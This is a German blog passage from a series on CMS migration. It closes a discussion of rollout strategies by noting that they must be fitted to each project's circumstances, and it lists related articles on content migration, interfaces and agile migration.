Schließlich ist die Wahl der jeweils passenden Rollout-Strategie so individuell wie deren Anpassung an die konkreten Rahmenbedingungen. Oftmals ergeben sich hinreichende Fakten für die Planung des Rollouts auch erst im Projektverlauf, wie z.B. die Dauer der jeweiligen Vorgänge.

Weitere Artikel dieser Blog-Serie

• CMS-Migration auf der tekom Jahrestagung 2011
• Content-Migration und die Schnittstellen
• Agile Migration